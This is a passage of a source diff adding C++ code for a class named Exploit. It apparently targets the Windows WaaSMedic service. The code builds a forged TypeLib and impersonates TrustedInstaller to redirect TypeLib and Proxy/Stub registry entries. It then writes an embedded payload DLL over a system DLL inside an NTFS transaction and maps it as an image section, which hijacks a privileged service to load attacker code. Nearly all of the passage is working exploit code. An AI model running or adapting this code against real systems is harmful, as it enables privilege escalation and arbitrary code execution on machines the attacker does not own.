| 594 | + | continue; |
| 595 | + | |
| 596 | + | TypeInfoNew->AddRefTypeInfo(TypeInfoRef, &hRefType); |
| 597 | + | TypeInfoNew->AddImplType(i, hRefType); |
| 598 | + | |
| 599 | + | Utils::SafeRelease((IUnknown**)&TypeInfoRef); |
| 600 | + | } |
| 601 | + | |
| 602 | + | // |
| 603 | + | // Get the description of each function, modify them and add them to the new TypeLib. |
| 604 | + | // See https://thrysoee.dk/InsideCOM+/ch09b.htm |
| 605 | + | // |
| 606 | + | |
| 607 | + | for (i = 0; i < pTypeAttrOrig->cFuncs; i++) |
| 608 | + | { |
| 609 | + | if (FAILED(hr = TypeInfoOrig->GetFuncDesc(i, &pFuncDescOrig))) |
| 610 | + | continue; |
| 611 | + | |
| 612 | + | if (pFuncDescOrig->memid != 0x60020000 && pFuncDescOrig->memid != 0x60020001) |
| 613 | + | { |
| 614 | + | TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig); |
| 615 | + | continue; |
| 616 | + | } |
| 617 | + | |
| 618 | + | if (FAILED(hr = TypeInfoOrig->GetNames(pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames))) |
| 619 | + | { |
| 620 | + | TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig); |
| 621 | + | continue; |
| 622 | + | } |
| 623 | + | |
| 624 | + | if (pFuncDescOrig->memid == 0x60020000) |
| 625 | + | { |
| 626 | + | // LaunchDetectionOnly |
| 627 | + | |
| 628 | + | ldoParams[0].tdesc.vt = VT_BSTR; |
| 629 | + | ldoParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN; |
| 630 | + | ldoParams[1].tdesc.vt = VT_UI8; |
| 631 | + | ldoParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN; |
| 632 | + | |
| 633 | + | pFuncDescOrig->lprgelemdescParam = ldoParams; |
| 634 | + | } |
| 635 | + | else if (pFuncDescOrig->memid == 0x60020001) |
| 636 | + | { |
| 637 | + | // LaunchRemediationOnly |
| 638 | + | |
| 639 | + | lroParams[0].tdesc.vt = VT_BSTR; |
| 640 | + | lroParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN; |
| 641 | + | lroParams[1].tdesc.vt = VT_BSTR; |
| 642 | + | lroParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN; |
| 643 | + | lroParams[2].tdesc.vt = VT_UI8; |
| 644 | + | lroParams[2].paramdesc.wParamFlags = PARAMFLAG_FIN; |
| 645 | + | |
| 646 | + | pFuncDescOrig->lprgelemdescParam = lroParams; |
| 647 | + | } |
| 648 | + | |
| 649 | + | pFuncDescOrig->cParams += 1; |
| 650 | + | Names[pFuncDescOrig->cParams] = SysAllocString(L"unknown"); |
| 651 | + | cNames += 1; |
| 652 | + | |
| 653 | + | pFuncDescOrig->funckind = FUNC_PUREVIRTUAL; // Change function type from "dispatch" to "pure virtual" |
| 654 | + | pFuncDescOrig->elemdescFunc.tdesc.vt = VT_HRESULT; // Set return type to HRESULT |
| 655 | + | hr = TypeInfoNew->AddFuncDesc(0, pFuncDescOrig); // Add function description to the interface |
| 656 | + | hr = TypeInfoNew->SetFuncAndParamNames(0, Names, cNames); // Set function and parameter names |
| 657 | + | |
| 658 | + | for (j = 0; j < cNames; j++) |
| 659 | + | { |
| 660 | + | SysFreeString(Names[j]); // Free the strings returned by "GetNames" |
| 661 | + | } |
| 662 | + | |
| 663 | + | TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig); |
| 664 | + | } |
| 665 | + | |
| 666 | + | // |
| 667 | + | // END: Write the IWaaSRemediationEx interface |
| 668 | + | // |
| 669 | + | |
| 670 | + | if (pTypeAttrOrig) |
| 671 | + | TypeInfoOrig->ReleaseTypeAttr(pTypeAttrOrig); |
| 672 | + | Utils::SafeRelease((IUnknown**)&TypeInfoOrig); |
| 673 | + | |
| 674 | + | // |
| 675 | + | // BEGIN: Write the ITaskHandler interface |
| 676 | + | // |
| 677 | + | |
| 678 | + | EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetTypeInfoOfGuid(IID_TASKHANDLER, &TypeInfoOrig))); // Get info about ITaskHandler interface |
| 679 | + | EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetTypeAttr(&pTypeAttrOrig))); // Get interface content |
| 680 | + | EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetDocumentation(MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL))); // Get TypeLib name |
| 681 | + | EXIT_ON_ERROR(FAILED(hr = TypeLibNew->CreateTypeInfo(TypeLibName, TKIND_INTERFACE, &TypeInfoNew2))); // Type: "dispatch" to "interface" |
| 682 | + | |
| 683 | + | TypeInfoNew2->SetTypeFlags(TYPEFLAG_FHIDDEN | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION); |
| 684 | + | TypeInfoNew2->SetGuid(pTypeAttrOrig->guid); |
| 685 | + | TypeInfoNew2->SetVersion(pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum); |
| 686 | + | |
| 687 | + | // Add references to implemented interfaces |
| 688 | + | for (i = 0; i < pTypeAttrOrig->cImplTypes; i++) |
| 689 | + | { |
| 690 | + | if (FAILED(hr = TypeInfoOrig->GetRefTypeOfImplType(i, &hRefType))) |
| 691 | + | continue; |
| 692 | + | |
| 693 | + | if (FAILED(hr = TypeInfoOrig->GetRefTypeInfo(hRefType, &TypeInfoRef))) |
| 694 | + | continue; |
| 695 | + | |
| 696 | + | TypeInfoNew2->AddRefTypeInfo(TypeInfoRef, &hRefType); |
| 697 | + | TypeInfoNew2->AddImplType(i, hRefType); |
| 698 | + | |
| 699 | + | Utils::SafeRelease((IUnknown**)&TypeInfoRef); |
| 700 | + | } |
| 701 | + | |
| 702 | + | for (i = 0; i < pTypeAttrOrig->cFuncs; i++) |
| 703 | + | { |
| 704 | + | if (FAILED(hr = TypeInfoOrig->GetFuncDesc(i, &pFuncDescOrig))) |
| 705 | + | continue; |
| 706 | + | |
| 707 | + | if (FAILED(hr = TypeInfoOrig->GetNames(pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames))) |
| 708 | + | { |
| 709 | + | TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig); |
| 710 | + | continue; |
| 711 | + | } |
| 712 | + | |
| 713 | + | hr = TypeInfoNew2->AddFuncDesc(0, pFuncDescOrig); // Add function description to the interface |
| 714 | + | hr = TypeInfoNew2->SetFuncAndParamNames(0, Names, cNames); // Set function and parameter names |
| 715 | + | |
| 716 | + | for (j = 0; j < cNames; j++) |
| 717 | + | { |
| 718 | + | SysFreeString(Names[j]); // Free the strings returned by "GetNames" |
| 719 | + | } |
| 720 | + | |
| 721 | + | TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig); |
| 722 | + | } |
| 723 | + | |
| 724 | + | // |
| 725 | + | // END: Write the ITaskHandler interface |
| 726 | + | // |
| 727 | + | |
| 728 | + | if (SUCCEEDED(hr = TypeLibNew->SaveAllChanges())) |
| 729 | + | { |
| 730 | + | this->_StateTypeLibCreated = TRUE; |
| 731 | + | bResult = TRUE; |
| 732 | + | } |
| 733 | + | |
| 734 | + | cleanup: |
| 735 | + | Utils::SafeRelease((IUnknown**)&TypeInfoRef); |
| 736 | + | Utils::SafeRelease((IUnknown**)&TypeLibRef); |
| 737 | + | Utils::SafeRelease((IUnknown**)&TypeInfoNew); |
| 738 | + | if (TypeLibName) SysFreeString(TypeLibName); |
| 739 | + | if (pTypeAttrOrig) TypeInfoOrig->ReleaseTypeAttr(pTypeAttrOrig); |
| 740 | + | Utils::SafeRelease((IUnknown**)&TypeInfoOrig); |
| 741 | + | Utils::SafeRelease((IUnknown**)&TypeLibNew); |
| 742 | + | if (pTLibAttrOrig) TypeLibOrig->ReleaseTLibAttr(pTLibAttrOrig); |
| 743 | + | Utils::SafeRelease((IUnknown**)&TypeLibOrig); |
| 744 | + | |
| 745 | + | DEBUG(L"TypeLib: %ws | HRESULT: 0x%08x | Result: %d", this->GetTypeLibPath(), bResult, hr); |
| 746 | + | |
| 747 | + | if (!bResult) |
| 748 | + | ERROR(L"Failed to write TypeLib to file: %ws", this->GetTypeLibPath()); |
| 749 | + | |
| 750 | + | return bResult; |
| 751 | + | } |
| 752 | + | |
| 753 | + | BOOL Exploit::DeleteTypeLib() |
| 754 | + | { |
| 755 | + | BOOL bResult = FALSE; |
| 756 | + | |
| 757 | + | if (this->_StateTypeLibCreated) |
| 758 | + | { |
| 759 | + | EXIT_ON_ERROR(!DeleteFileW(this->_TypeLibPath)); |
| 760 | + | this->_StateTypeLibCreated = FALSE; |
| 761 | + | } |
| 762 | + | |
| 763 | + | bResult = TRUE; |
| 764 | + | |
| 765 | + | cleanup: |
| 766 | + | DEBUG(L"Result: %d", bResult); |
| 767 | + | |
| 768 | + | if (!bResult) |
| 769 | + | ERROR(L"Failed to delete custom TypeLib file: %ws", this->_TypeLibPath); |
| 770 | + | |
| 771 | + | return bResult; |
| 772 | + | } |
| 773 | + | |
| 774 | + | BOOL Exploit::FindTypeLibRegistryValuePath() |
| 775 | + | { |
| 776 | + | BOOL bResult = FALSE; |
| 777 | + | LPWSTR pwszRegPath = NULL, pwszTypeLibGuid = NULL; |
| 778 | + | RPC_WSTR InterfaceGuidStr = NULL; |
| 779 | + | UUID InterfaceGuid; |
| 780 | + | |
| 781 | + | // |
| 782 | + | // HKLM\SOFTWARE\Classes\Interface\{B4C1D279-966E-44E9-A9C5-CCAF4A77023D}\TypeLib |
| 783 | + | // (Default) -> {3ff1aab8-f3d8-11d4-825d-00104b3646c0} |
| 784 | + | // HKLM\SOFTWARE\Classes\TypeLib\{3ff1aab8-f3d8-11d4-825d-00104b3646c0}\1.0\0\Win64 |
| 785 | + | // (Default) -> %SystemRoot%\system32\WaaSMedicPS.dll |
| 786 | + | // |
| 787 | + | |
| 788 | + | InterfaceGuid = IID_WAASREMEDIATIONEX; |
| 789 | + | |
| 790 | + | EXIT_ON_ERROR(!(pwszRegPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 791 | + | EXIT_ON_ERROR(UuidToStringW(&InterfaceGuid, &InterfaceGuidStr) != RPC_S_OK); |
| 792 | + | |
| 793 | + | swprintf_s(pwszRegPath, MAX_PATH, L"SOFTWARE\\Classes\\Interface\\{%ws}\\TypeLib", (LPWSTR)InterfaceGuidStr); |
| 794 | + | |
| 795 | + | EXIT_ON_ERROR(!Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszTypeLibGuid)); |
| 796 | + | |
| 797 | + | swprintf_s(this->_TypeLibRegValuePath, MAX_PATH, L"SOFTWARE\\Classes\\TypeLib\\%ws\\1.0\\0\\Win64", pwszTypeLibGuid); |
| 798 | + | |
| 799 | + | bResult = TRUE; |
| 800 | + | |
| 801 | + | cleanup: |
| 802 | + | if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr); |
| 803 | + | Utils::SafeFree((PVOID*)&pwszTypeLibGuid); |
| 804 | + | Utils::SafeFree((PVOID*)&pwszRegPath); |
| 805 | + | |
| 806 | + | DEBUG(L"Path: %ws | Result: %d", this->_TypeLibRegValuePath, bResult); |
| 807 | + | |
| 808 | + | return bResult; |
| 809 | + | } |
| 810 | + | |
| 811 | + | BOOL Exploit::ModifyTypeLibRegistryValue() |
| 812 | + | { |
| 813 | + | BOOL bResult = FALSE; |
| 814 | + | BOOL bImpersonated = FALSE; |
| 815 | + | |
| 816 | + | EXIT_ON_ERROR(!this->GetTypeLibOrigPath()); // Make sure we retrieve the original path before modifying it |
| 817 | + | EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller()); |
| 818 | + | |
| 819 | + | bImpersonated = TRUE; |
| 820 | + | |
| 821 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, this->GetTypeLibPath())); |
| 822 | + | |
| 823 | + | this->_StateRegTypeLibModified = TRUE; |
| 824 | + | bResult = TRUE; |
| 825 | + | |
| 826 | + | cleanup: |
| 827 | + | if (bImpersonated) this->RevertToSelf(); |
| 828 | + | |
| 829 | + | DEBUG(L"Result: %d", bResult); |
| 830 | + | |
| 831 | + | if (!bResult) |
| 832 | + | ERROR(L"Failed to modify registry key: %ws", this->GetTypeLibRegValuePath()); |
| 833 | + | |
| 834 | + | return bResult; |
| 835 | + | } |
| 836 | + | |
| 837 | + | BOOL Exploit::RestoreTypeLibRegistryValue() |
| 838 | + | { |
| 839 | + | BOOL bResult = FALSE; |
| 840 | + | BOOL bImpersonated = FALSE; |
| 841 | + | |
| 842 | + | if (this->_StateRegTypeLibModified) |
| 843 | + | { |
| 844 | + | EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller()); |
| 845 | + | bImpersonated = TRUE; |
| 846 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, this->GetTypeLibOrigPath())); |
| 847 | + | |
| 848 | + | this->_StateRegTypeLibModified = FALSE; |
| 849 | + | } |
| 850 | + | |
| 851 | + | bResult = TRUE; |
| 852 | + | |
| 853 | + | cleanup: |
| 854 | + | if (bImpersonated) this->RevertToSelf(); |
| 855 | + | |
| 856 | + | DEBUG(L"Result: %d", bResult); |
| 857 | + | |
| 858 | + | if (!bResult) |
| 859 | + | ERROR(L"Failed to restore TypeLib path in registry: %ws", this->GetTypeLibRegValuePath()); |
| 860 | + | |
| 861 | + | return bResult; |
| 862 | + | } |
| 863 | + | |
| 864 | + | BOOL Exploit::FindWaaSMedicCapsulePath() |
| 865 | + | { |
| 866 | + | // |
| 867 | + | // Path on Windows 10: c:\windows\System32\WaaSMedicCapsule.dll |
| 868 | + | // Path on Windows 11: c:\windows\UUS\amd64\WaaSMedicCapsule.dll |
| 869 | + | // |
| 870 | + | |
| 871 | + | BOOL bResult = FALSE; |
| 872 | + | LPWSTR pwszModulePath = NULL; |
| 873 | + | |
| 874 | + | EXIT_ON_ERROR(!(pwszModulePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 875 | + | EXIT_ON_ERROR(!GetSystemDirectoryW(pwszModulePath, MAX_PATH)); |
| 876 | + | swprintf_s(pwszModulePath, MAX_PATH, L"%ws\\%ws", pwszModulePath, STR_WAASMEDIC_CAPSULE); |
| 877 | + | |
| 878 | + | if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND)) |
| 879 | + | { |
| 880 | + | EXIT_ON_ERROR(!GetWindowsDirectoryW(pwszModulePath, MAX_PATH)); |
| 881 | + | swprintf_s(pwszModulePath, MAX_PATH, L"%ws\\UUS\\amd64\\%ws", pwszModulePath, STR_WAASMEDIC_CAPSULE); |
| 882 | + | |
| 883 | + | if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND)) |
| 884 | + | { |
| 885 | + | ERROR(L"Failed to determine file path for file: %ws", STR_WAASMEDIC_CAPSULE); |
| 886 | + | goto cleanup; |
| 887 | + | } |
| 888 | + | } |
| 889 | + | |
| 890 | + | swprintf_s(this->_WaaSMedicCapsulePath, MAX_PATH, L"%ws", pwszModulePath); |
| 891 | + | bResult = TRUE; |
| 892 | + | |
| 893 | + | cleanup: |
| 894 | + | Utils::SafeFree((PVOID*)&pwszModulePath); |
| 895 | + | |
| 896 | + | return bResult; |
| 897 | + | } |
| 898 | + | |
| 899 | + | BOOL Exploit::FindProxyStubRegistryValuePath() |
| 900 | + | { |
| 901 | + | BOOL bResult = FALSE; |
| 902 | + | LPWSTR pwszRegPath = NULL, pwszProxyStubClsid = NULL; |
| 903 | + | RPC_WSTR InterfaceGuidStr = NULL; |
| 904 | + | UUID InterfaceGuid; |
| 905 | + | |
| 906 | + | // |
| 907 | + | // HKLM\SOFTWARE\Classes\Interface\{839D7762-5121-4009-9234-4F0D19394F04}\ProxyStubClsid32 |
| 908 | + | // (Default) -> {9C86F320-DEE3-4DD1-B972-A303F26B061E} |
| 909 | + | // HKLM\SOFTWARE\Classes\CLSID\{9C86F320-DEE3-4DD1-B972-A303F26B061E}\InprocServer32 |
| 910 | + | // (Default) -> C:\Windows\System32\TaskSchdPS.dll |
| 911 | + | // |
| 912 | + | |
| 913 | + | InterfaceGuid = IID_TASKHANDLER; |
| 914 | + | |
| 915 | + | EXIT_ON_ERROR(!(pwszRegPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 916 | + | EXIT_ON_ERROR(UuidToStringW(&InterfaceGuid, &InterfaceGuidStr) != RPC_S_OK); |
| 917 | + | |
| 918 | + | swprintf_s(pwszRegPath, MAX_PATH, L"SOFTWARE\\Classes\\Interface\\{%ws}\\ProxyStubClsid32", (LPWSTR)InterfaceGuidStr); |
| 919 | + | |
| 920 | + | EXIT_ON_ERROR(!Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszProxyStubClsid)); |
| 921 | + | |
| 922 | + | swprintf_s(this->_ProxyStubRegValuePath, MAX_PATH, L"SOFTWARE\\Classes\\CLSID\\%ws\\InprocServer32", pwszProxyStubClsid); |
| 923 | + | |
| 924 | + | bResult = TRUE; |
| 925 | + | |
| 926 | + | cleanup: |
| 927 | + | if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr); |
| 928 | + | Utils::SafeFree((PVOID*)&pwszProxyStubClsid); |
| 929 | + | Utils::SafeFree((PVOID*)&pwszRegPath); |
| 930 | + | |
| 931 | + | DEBUG(L"Path: %ws | Result: %d", this->_ProxyStubRegValuePath, bResult); |
| 932 | + | |
| 933 | + | return bResult; |
| 934 | + | } |
| 935 | + | |
| 936 | + | BOOL Exploit::ModifyProxyStubRegistryValue() |
| 937 | + | { |
| 938 | + | BOOL bResult = FALSE; |
| 939 | + | BOOL bImpersonated = FALSE; |
| 940 | + | |
| 941 | + | EXIT_ON_ERROR(!this->GetProxyStubOrigPath()); // Make sure we retrieve the original path before modifying it |
| 942 | + | EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller()); |
| 943 | + | |
| 944 | + | bImpersonated = TRUE; |
| 945 | + | |
| 946 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetHijackedDllName())); |
| 947 | + | |
| 948 | + | this->_StateRegProxyStubModified = TRUE; |
| 949 | + | bResult = TRUE; |
| 950 | + | |
| 951 | + | cleanup: |
| 952 | + | if (bImpersonated) this->RevertToSelf(); |
| 953 | + | |
| 954 | + | DEBUG(L"Result: %d", bResult); |
| 955 | + | |
| 956 | + | if (!bResult) |
| 957 | + | ERROR(L"Failed to write Proxy/Stub DLL to registry: %ws", this->GetProxyStubRegValuePath()); |
| 958 | + | |
| 959 | + | return bResult; |
| 960 | + | } |
| 961 | + | |
| 962 | + | BOOL Exploit::RestoreProxyStubRegistryValue() |
| 963 | + | { |
| 964 | + | BOOL bResult = FALSE; |
| 965 | + | BOOL bImpersonated = FALSE; |
| 966 | + | |
| 967 | + | if (this->_StateRegProxyStubModified) |
| 968 | + | { |
| 969 | + | EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller()); |
| 970 | + | bImpersonated = TRUE; |
| 971 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetProxyStubOrigPath())); |
| 972 | + | |
| 973 | + | this->_StateRegProxyStubModified = FALSE; |
| 974 | + | } |
| 975 | + | |
| 976 | + | bResult = TRUE; |
| 977 | + | |
| 978 | + | cleanup: |
| 979 | + | if (bImpersonated) this->RevertToSelf(); |
| 980 | + | |
| 981 | + | DEBUG(L"Result: %d", bResult); |
| 982 | + | |
| 983 | + | if (!bResult) |
| 984 | + | ERROR(L"Failed to restore Proxy/Stub DLL path in registry: %ws", this->GetProxyStubRegValuePath()); |
| 985 | + | |
| 986 | + | return bResult; |
| 987 | + | } |
| 988 | + | |
| 989 | + | BOOL Exploit::MapPayloadDll() |
| 990 | + | { |
| 991 | + | BOOL bResult = FALSE; |
| 992 | + | HANDLE hTransaction = NULL, hFileTransacted = NULL; |
| 993 | + | LPVOID pDllData; |
| 994 | + | DWORD dwDllSize = 0, dwBytesWritten = 0; |
| 995 | + | UNICODE_STRING SectionName; |
| 996 | + | OBJECT_ATTRIBUTES oa; |
| 997 | + | NTSTATUS status = ERROR_SUCCESS; |
| 998 | + | |
| 999 | + | EXIT_ON_ERROR(!Utils::GetEmbeddedResource(IDR_RCDATA1, &pDllData, &dwDllSize)); |
| 1000 | + | EXIT_ON_ERROR(!Utils::FindWritableSystemDll(dwDllSize, &this->_HollowedDllPath)); |
| 1001 | + | |
| 1002 | + | ZeroMemory(&oa, sizeof(oa)); |
| 1003 | + | oa.Length = sizeof(oa); |
| 1004 | + | |
| 1005 | + | EXIT_ON_ERROR(!NT_SUCCESS(status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL))); |
| 1006 | + | EXIT_ON_ERROR((hFileTransacted = CreateFileTransactedW(this->_HollowedDllPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL)) == INVALID_HANDLE_VALUE); |
| 1007 | + | EXIT_ON_ERROR(!WriteFile(hFileTransacted, pDllData, dwDllSize, &dwBytesWritten, NULL)); |
| 1008 | + | |
| 1009 | + | RtlInitUnicodeString(&SectionName, this->GetHijackedDllSectionPath()); |
| 1010 | + | InitializeObjectAttributes(&oa, &SectionName, OBJ_CASE_INSENSITIVE, NULL, NULL); |
| 1011 | + | |
| 1012 | + | EXIT_ON_ERROR(!NT_SUCCESS(NtCreateSection(&this->_DllSectionHandle, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hFileTransacted))); |
| 1013 | + | |
| 1014 | + | bResult = TRUE; |
| 1015 | + | |
| 1016 | + | cleanup: |
| 1017 | + | Utils::SafeCloseHandle(&hTransaction); |
| 1018 | + | Utils::SafeCloseHandle(&hFileTransacted); |
| 1019 | + | Utils::SetLastErrorFromNtStatus(status); |
| 1020 | + | |
| 1021 | + | DEBUG(L"Section: %ws (handle: 0x%04x) | Result: %d", this->GetHijackedDllSectionPath(), HandleToULong(this->_DllSectionHandle), bResult); |
| 1022 | + | |
| 1023 | + | if (!bResult) |
| 1024 | + | ERROR(L"Failed to create section: %ws", this->GetHijackedDllSectionPath()); |
| 1025 | + | |
| 1026 | + | return bResult; |
| 1027 | + | } |
| 1028 | + | |
| 1029 | + | BOOL Exploit::UnmapPayloadDll() |
| 1030 | + | { |
| 1031 | + | BOOL bResult = FALSE; |
| 1032 | + | |
| 1033 | + | Utils::SafeCloseHandle(&this->_DllSectionHandle); |
| 1034 | + | bResult = this->_DllSectionHandle == NULL; |
| 1035 | + | |
| 1036 | + | DEBUG(L"Result: %d", bResult); |
| 1037 | + | |
| 1038 | + | return bResult; |
| 1039 | + | } |
| 1040 | + | |
| 1041 | + | BOOL Exploit::CreateDummyDllFile() |
| 1042 | + | { |
| 1043 | + | BOOL bResult = FALSE; |
| 1044 | + | LPWSTR pwszFilePath = NULL; |
| 1045 | + | HANDLE hFile = NULL; |
| 1046 | + | |
| 1047 | + | EXIT_ON_ERROR(!(pwszFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 1048 | + | EXIT_ON_ERROR(!GetWindowsDirectoryW(pwszFilePath, MAX_PATH)); |
| 1049 | + | EXIT_ON_ERROR(wcslen(pwszFilePath) < 2); |
| 1050 | + | |
| 1051 | + | pwszFilePath[2] = L'\0'; |
| 1052 | + | swprintf_s(pwszFilePath, MAX_PATH, L"%ws\\%ws", pwszFilePath, this->GetHijackedDllName()); |
| 1053 | + | |
| 1054 | + | // |
| 1055 | + | // Be careful here, the loader will try to open the file with Read+Delete share mode. So, we must |
| 1056 | + | // not request write access to the file, otherwise the call (on the target service side) will fail |
| 1057 | + | // with an ERROR_SHARING_VIOLATION error. |
| 1058 | + | // |
| 1059 | + | EXIT_ON_ERROR((hFile = CreateFileW(pwszFilePath, GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE); |
| 1060 | + | |
| 1061 | + | this->_DummyDllFileHandle = hFile; |
| 1062 | + | bResult = TRUE; |
| 1063 | + | |
| 1064 | + | cleanup: |
| 1065 | + | if (!bResult) { |
| 1066 | + | ERROR(L"Failed to create dummy file: %ws", pwszFilePath); |
| 1067 | + | Utils::SafeCloseHandle(&hFile); |
| 1068 | + | } |
| 1069 | + | |
| 1070 | + | Utils::SafeFree((PVOID*)&pwszFilePath); |
| 1071 | + | |
| 1072 | + | return bResult; |
| 1073 | + | } |
| 1074 | + | |
| 1075 | + | BOOL Exploit::IsProxyStubDllLoaded() |
| 1076 | + | { |
| 1077 | + | return WaitForSingleObject(this->_ProxyStubDllLoadEventHandle, 0) == WAIT_OBJECT_0; |
| 1078 | + | } |
| 1079 | + | |
| 1080 | + | BOOL Exploit::EnumerateTemporaryDirectories(std::vector<LPWSTR>* List) |
| 1081 | + | { |
| 1082 | + | BOOL bResult = FALSE; |
| 1083 | + | WIN32_FIND_DATAW FindData; |
| 1084 | + | LPWSTR pwszSearchPattern = NULL, pwszCandidatePath; |
| 1085 | + | HANDLE hFind = NULL; |
| 1086 | + | |
| 1087 | + | // Make sure the result list is empty before populating it |
| 1088 | + | List->clear(); |
| 1089 | + | |
| 1090 | + | EXIT_ON_ERROR(!Utils::GetWindowsTempDirectory(&pwszSearchPattern)); |
| 1091 | + | |
| 1092 | + | swprintf_s(pwszSearchPattern, MAX_PATH, L"%ws\\%ws", pwszSearchPattern, L"_????????-????-????-????-????????????"); |
| 1093 | + | |
| 1094 | + | if ((hFind = FindFirstFileW(pwszSearchPattern, &FindData)) == INVALID_HANDLE_VALUE) |
| 1095 | + | { |
| 1096 | + | if (GetLastError() == ERROR_FILE_NOT_FOUND) |
| 1097 | + | bResult = TRUE; |
| 1098 | + | |
| 1099 | + | goto cleanup; |
| 1100 | + | } |
| 1101 | + | |
| 1102 | + | do |
| 1103 | + | { |
| 1104 | + | if (pwszCandidatePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))) |
| 1105 | + | { |
| 1106 | + | swprintf_s(pwszCandidatePath, MAX_PATH, L"%ws", FindData.cFileName); |
| 1107 | + | List->push_back(pwszCandidatePath); |
| 1108 | + | } |
| 1109 | + | |
| 1110 | + | } while (FindNextFileW(hFind, &FindData)); |
| 1111 | + | |
| 1112 | + | bResult = TRUE; |
| 1113 | + | |
| 1114 | + | cleanup: |
| 1115 | + | if (!bResult) |
| 1116 | + | ERROR(L"Failed to enumerate temp directory: %ws", pwszSearchPattern); |
| 1117 | + | |
| 1118 | + | if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind); |
| 1119 | + | Utils::SafeFree((PVOID*)&pwszSearchPattern); |
| 1120 | + | |
| 1121 | + | return bResult; |
| 1122 | + | } |
| 1123 | + | |
| 1124 | + | BOOL Exploit::DeleteTemporaryDirectories() |
| 1125 | + | { |
| 1126 | + | BOOL bResult = TRUE, bExisted = FALSE; |
| 1127 | + | LPWSTR pwszDirectoryPath = NULL, pwszWindowsTempPath = NULL;; |
| 1128 | + | std::vector<LPWSTR> vDirectoriesToDelete; |
| 1129 | + | |
| 1130 | + | EXIT_ON_ERROR(!Utils::GetWindowsTempDirectory(&pwszWindowsTempPath)); |
| 1131 | + | EXIT_ON_ERROR(!(pwszDirectoryPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 1132 | + | |
| 1133 | + | for (LPWSTR pwszPathAfter : _TemporaryDiretoriesAfter) |
| 1134 | + | { |
| 1135 | + | bExisted = FALSE; |
| 1136 | + | |
| 1137 | + | for (LPWSTR pwszPathBefore : _TemporaryDiretoriesBefore) |
| 1138 | + | { |
| 1139 | + | if (!wcscmp(pwszPathAfter, pwszPathBefore)) |
| 1140 | + | { |
| 1141 | + | bExisted = TRUE; |
| 1142 | + | break; |
| 1143 | + | } |
| 1144 | + | } |
| 1145 | + | |
| 1146 | + | if (!bExisted) |
| 1147 | + | vDirectoriesToDelete.push_back(pwszPathAfter); |
| 1148 | + | } |
| 1149 | + | |
| 1150 | + | if (vDirectoriesToDelete.size() > 0) |
| 1151 | + | { |
| 1152 | + | INFO(L"Deleting %d temporary directories created by the service...", (DWORD)vDirectoriesToDelete.size()); |
| 1153 | + | |
| 1154 | + | for (LPWSTR pwszEntry : vDirectoriesToDelete) |
| 1155 | + | { |
| 1156 | + | swprintf_s(pwszDirectoryPath, MAX_PATH, L"%ws\\%ws", pwszWindowsTempPath, pwszEntry); |
| 1157 | + | |
| 1158 | + | if (!Utils::DeleteDirectory(pwszDirectoryPath)) |
| 1159 | + | { |
| 1160 | + | bResult = FALSE; |
| 1161 | + | } |
| 1162 | + | } |
| 1163 | + | } |
| 1164 | + | |
| 1165 | + | cleanup: |
| 1166 | + | Utils::SafeFree((PVOID*)&pwszWindowsTempPath); |
| 1167 | + | Utils::SafeFree((PVOID*)&pwszDirectoryPath); |
